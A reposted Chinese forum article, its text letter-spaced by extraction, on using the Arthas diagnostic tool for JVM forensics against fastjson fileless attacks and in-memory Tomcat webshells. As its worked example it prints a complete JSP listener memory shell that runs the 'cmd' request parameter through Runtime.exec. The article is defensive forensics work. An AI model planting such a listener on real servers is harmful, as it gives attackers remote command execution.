搜索

[16078] 2020-11-11_如何使用Arthas进行JVM取证

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2020-11-11_如何使用Arthas进行JVM取证 如 何 使 用 A r t h a s 进 行 J V M 取 证 f z x c p 3   F r e e B u f   2 0 2 0 - 1 1 - 1 1 概 述 概 述 A r t h a s 是 阿 里 开 源 的 一 款 j a v a 诊 断 的 工 具 ， 主 要 基 于 I n s t r u m e n t 进 行 动 态 代 理 ， 以 及 J V M T I 来 与 J V M 进 行 通 信 交 互 。 在 无 文 件 攻 击 的 概 念 越 来 越 火 热 的 情 况 下 ， 红 军 也 急 需 能 够 与 之 对 抗 的 方 式 ， 而 a r t h a s 应 该 可 以 成 为 其 中 的 首 选 方 案 基 本 用 法 基 本 用 法 下 载 ： h t t p s : / / g i t h u b . c o m / a l i b a b a / a r t h a s / r e l e a s e s 使 用 ： j a v a   - j a r   a r t h a s - b o o t . j a r 常 用 功 能 常 用 功 能 t h r e a d   # 打 印 线 程   /   查 看 线 程 当 前 的 堆 栈 j a d   # 反 编 译 c l a s s s c   # 查 看 j v m 已 加 载 的 类 信 息 s m   # 查 看 类 的 方 法 信 息 r e d e f i n e   # 加 载 外 部 的 . c l a s s ， r e d e f i n e 已 加 载 的 类 d u m p   # 已 加 载 类 的 b y t e   c o d e 到 特 定 的 目 录 c l a s s l o a d e r   # 查 看 c l a s s l o a d e r 的 继 承 树 ， u r l s ， 类 的 加 载 信 息 t t   # 方 法 执 行 数 据 的 时 空 隧 道 s t a c k   # 方 法 的 调 用 栈 t r a c e   # 方 法 的 内 部 调 用 路 径 w a t c h   # 方 法 执 行 的 详 细 过 程 查 看 m b e a n   # m b e a n 信 息 取 证 实 例 取 证 实 例 c l a s s l o a d e r 、 、 j a d   —   f a s t j s o n 攻 击 取 证 攻 击 取 证 f a s t j s o n 的 攻 击 很 被 动 的 成 为 了 无 文 件 攻 击 的 最 佳 案 例 ， 在 w a f 、 日 志 中 捕 获 到 的 信 息 都 很 难 还 原 出 攻 击 的 详 情 ， 尤 其 是 当 攻 击 者 的 l d a p 服 务 已 经 停 止 的 情 况 下 ， 这 个 时 候 就 可 以 使 用 c l a s s l o a d e r 进 行 取 证 c l a s s l o a d e r   按 类 加 载 类 型 查 看 统 计 信 息 c l a s s l o a d e r   - l   按 类 加 载 实 例 查 看 统 计 信 息 c l a s s l o a d e r   - t   查 看 C l a s s L o a d e r 的 继 承 树
这 次 取 证 中 需 要 用 到 的 是 c l a s s l o a d e r   - a   # 列 出 所 有 C l a s s L o a d e r 加 载 的 类 c l a s s l o a d e r   - a   搜 索 F a c t o r y U R L C l a s s L o a d e r 结 果 如 下 ： h a s h : 4 b 5 a 7 5 6 0 ,   j a v a . n e t . F a c t o r y U R L C l a s s L o a d e r @ 4 b 5 a 7 5 6 0 T o u c h F i l e 然 后 使 用 j a d 就 可 以 获 取 到 攻 击 的 详 情 了
s c 、 、 s m   —   无 源 码 情 况 下 的 基 本 信 息 获 取 无 源 码 情 况 下 的 基 本 信 息 获 取 s c 和 s m 的 使 用 方 法 基 本 一 致 - E   使 用 正 则 进 行 匹 配 - d   打 印 详 情 且 类 名 和 方 法 名 都 可 以 使 用 * 作 为 通 配 符 进 行 匹 配 以 哥 斯 拉 的 s h e l l 分 析 为 例 ， 可 以 通 过 s m 显 示 的 方 法 基 本 判 断 出 s h e l l 中 有 什 么 样 的 功 能 还 可 以 通 过 关 键 词 搜 索 ， 来 发 现 一 些 已 经 的 恶 意 类 的 特 征 ， 比 如 ： p a y l o a d   /   E v i l 等 等 f a s t j s o n 加 载 的 恶 意 类 有 时 候 也 可 以 通 过 这 种 方 式 进 行 搜 索
s t a c k 、 、 t r a c e   —   入 侵 检 测 入 侵 检 测 s t a c k 和 t r a c e 的 使 用 方 法 也 基 本 一 致 ， s t a c k / t r a c e   类 名   方 法 名 即 可 当 一 类 新 的 攻 击 出 现 的 时 候 ， 需 要 快 速 的 通 过 r a s p 进 行 攻 击 利 用 捕 获 时 就 可 以 使 用 s t a c k 和 t r a c e 来 协 助 进 行 漏 洞 分 析 和 规 则 添 加 以 p a y l o a d 为 @ c o m . s u n . r o w s e t . J d b c R o w S e t I m p l 为 例
m b e a n   —   F i l t e r   s h e l l 检 测 检 测 之 前 看 过 一 篇 《 t o m c a t 结 合 s h i r o 无 文 件 w e b s h e l l 的 技 术 研 究 以 及 检 测 方 法 》 里 面 是 用 j v i s u a l v m 来 实 现 的 ， 但 是 其 实 a r t h a s 也 有 这 个 功 能 m b e a n   搜 索 j 2 e e T y p e = F i l t e r ， 然 后 m b e a n   - m 就 可 以 打 印 出 详 细 的 信 息 了 w a t c h   /   t t   —   内 存 内 存 s h e l l 的 另 一 种 检 测 方 式 的 另 一 种 检 测 方 式 1 、 t t   - t   类   方 法   # 是 一 种 当 不 了 解 入 参 、 返 回 、 类 属 性 详 细 情 况 下 ， 进 行 快 速 分 析 的 一 种 方 法 2 、 w a t c h   类   方 法   关 注 的 内 容   条 件   # 当 清 楚 的 知 道 方 法 的 详 细 情 况 的 时 候 ， 进 行 分 析 的 方 式 关 注 内 容   - >   p a r a m s   参 数   /   r e t u r n O b j   返 回 对 象   /   t h r o w E x p   异 常 /   t a r g e t   类 的 属 性 信 息 条 件   - >   o g n l 的 表 达 式 ， 比 如   p a r a m s [ 0 ] < 0 参 数   - > - x   代 表 展 开 层 级 ， 代 表 会 打 印 出 多 少 层 的 数 组 / h a s h m a p 等 - b   方 法 调 用 前 ， - e   方 法 异 常 后 ， - s   方 法 返 回 后 ， - f   方 法 结 束 后 以 l i s t e n e r s h e l l 为 例 < % @   p a g e   i m p o r t = " o r g . a p a c h e . c a t a l i n a . c o r e . A p p l i c a t i o n C o n t e x t "   % >
可 以 看 到 关 键 点 在 于 s t a n d a r d C o n t e x t . a d d A p p l i c a t i o n E v e n t L i s t e n e r ( l i s t e n e r d e m o ) ; 首 先 通 过 t t   - t   打 印 出 s t a n d a r d C o n t e x t 类 在 一 次 u r l 访 问 的 时 候 会 触 发 到 的 函 数 这 其 中 很 明 显 跟 l i s t e n e r 相 关 的 就 是 g e t A p p l i c a t i o n E v e n t L i s t e n e r s 函 数 < % @   p a g e   i m p o r t = " o r g . a p a c h e . c a t a l i n a . c o r e . A p p l i c a t i o n C o n t e x t "   % > < % @   p a g e   i m p o r t = " o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t "   % > < %         O b j e c t   o b j   =   r e q u e s t . g e t S e r v l e t C o n t e x t ( ) ;         j a v a . l a n g . r e f l e c t . F i e l d   f i e l d   =   o b j . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " c o n t e x t " ) ;         f i e l d . s e t A c c e s s i b l e ( t r u e ) ;         A p p l i c a t i o n C o n t e x t   a p p l i c a t i o n C o n t e x t   =   ( A p p l i c a t i o n C o n t e x t )   f i e l d . g e t ( o b j ) ;         / / 获 取 A p p l i c a t i o n C o n t e x t         f i e l d   =   a p p l i c a t i o n C o n t e x t . g e t C l a s s ( ) . g e t D e c l a r e d F i e l d ( " c o n t e x t " ) ;         f i e l d . s e t A c c e s s i b l e ( t r u e ) ;         S t a n d a r d C o n t e x t   s t a n d a r d C o n t e x t   =   ( S t a n d a r d C o n t e x t )   f i e l d . g e t ( a p p l i c a t i o n C o n t e x t ) ;         / / 获 取 S t a n d a r d C o n t e x t         L i s t e n e r D e m o   l i s t e n e r d e m o   =   n e w   L i s t e n e r D e m o ( ) ;         / / 创 建 能 够 执 行 命 令 的 L i s t e n e r         s t a n d a r d C o n t e x t . a d d A p p l i c a t i o n E v e n t L i s t e n e r ( l i s t e n e r d e m o ) ; % > < % !         p u b l i c   c l a s s   L i s t e n e r D e m o   i m p l e m e n t s   S e r v l e t R e q u e s t L i s t e n e r   {                 p u b l i c   v o i d   r e q u e s t D e s t r o y e d ( S e r v l e t R e q u e s t E v e n t   s r e )   {                         S y s t e m . o u t . p r i n t l n ( " r e q u e s t D e s t r o y e d " ) ;                 }                 p u b l i c   v o i d   r e q u e s t I n i t i a l i z e d ( S e r v l e t R e q u e s t E v e n t   s r e )   {                         S y s t e m . o u t . p r i n t l n ( " r e q u e s t I n i t i a l i z e d " ) ;                         t r y {                                 S t r i n g   c m d   =   s r e . g e t S e r v l e t R e q u e s t ( ) . g e t P a r a m e t e r ( " c m d " ) ;                                 R u n t i m e . g e t R u n t i m e ( ) . e x e c ( c m d ) ;                         } c a t c h   ( E x c e p t i o n   e   ) {                                 / / e . p r i n t S t a c k T r a c e ( ) ;                         }                 }         } % >
然 后 使 用 w a t c h   r e t u r n O b j   就 可 以 当 前 的 l i s t e n e r 的 信 息 了 类 似 的 其 他 类 型 的 隐 藏 s h e l l 都 可 以 获 取 的 到 F i l t e r   s h e l l w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t   f i n d F i l t e r M a p s   r e t u r n O b j w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t   g e t S e r v l e t C o n t e x t   t a r g e t . f i l t e r D e f s L i s t e n e r   s h e l l w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t   g e t A p p l i c a t i o n E v e n t L i s t e n e r s   r e t u r n O b j S e r v l e t   s h e l l
w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d C o n t e x t   f i n d F i l t e r M a p s   t a r g e t . s e r v l e t M a p p i n g s w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . C o n t a i n e r B a s e   f i n d C h i l d r e n   r e t u r n O b j w a t c h   o r g . a p a c h e . c a t a l i n a . c o r e . S t a n d a r d W r a p p e r   g e t S e r v l e t   r e t u r n O b j o g n l   —   s h u t d o w n h o o k o g n l   ‘ @ j a v a . l a n g . S y s t e m @ o u t . p r i n t l n ( “ h e l l o   o g n l ” ) ’   通 过 o g n l 做 动 态 执 行 o g n l   ‘ @ 类 名 @ 静 态 属 性 名 ’ o g n l   ‘ @ 类 @ 静 态 方 法 ( “ 参 数 ” ) ’ o g n l   ‘ # v a l u e 1 = @ 类 @ 方 法 ( “ ” ) , # v a l u e 2 = x x x ( # v a l u e 1 ) , { # v a l u e 1 , # v a l u e 2 } ’   变 量 赋 值 o g n l   ‘ t a r g e t . { n a m e } ’   可 以 取 出 来 a r r a y 中 的 每 一 个 n a m e 字 段 o g n l   ‘ @ T e s t @ n . e n t r y S e t ( ) . i t e r a t o r . { ?   # t h i s . k e y . n a m e ( )   = =   “ R U N ” } ’   迭 代 器 大 致 的 使 用 方 式 就 是 这 样 ， 实 际 的 案 例 借 用 下 长 亭 小 哥 《 杂 谈 J a v a 内 存 W e b s h e l l 的 攻 与 防 》 中 的 案 例 o g n l   “ @ j a v a . l a n g . A p p l i c a t i o n S h u t d o w n H o o k s @ h o o k s . k e y S e t ( ) . t o A r r a y ( ) . { g e t C l a s s ( ) } . { g e t N a m e ( ) } ” d u m p   —   批 量 本 地 分 析 批 量 本 地 分 析   /   j a d 无 法 反 编 译 的 情 况 下 无 法 反 编 译 的 情 况 下 比 如 哥 斯 拉 的 s h e l l ， 直 接 j a d 会 失 败 不 过 d u m p 功 能 有 个 缺 陷 ， 详 见 h t t p s : / / g i t h u b . c o m / a l i b a b a / a r t h a s / i s s u e s / 7 6 3 这 个 时 候 可 以 使 用 h t t p s : / / g i t h u b . c o m / h e n g y u n a b c / d u m p c l a s s 进 行 d u m p ， 然 后 配 合 F e r n f l o w e r   进 行 反 编 译 即 可 ( j d - g u i 反 编 译 这 个 c l a s s 会 报 错 )
参 考 文 档 参 考 文 档 h t t p s : / / w w w . c n b l o g s . c o m / p o t a t s o S e c / p / 1 3 0 6 0 2 6 1 . h t m l h t t p s : / / z h u a n l a n . z h i h u . c o m / p / 2 2 7 8 6 2 0 0 4 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理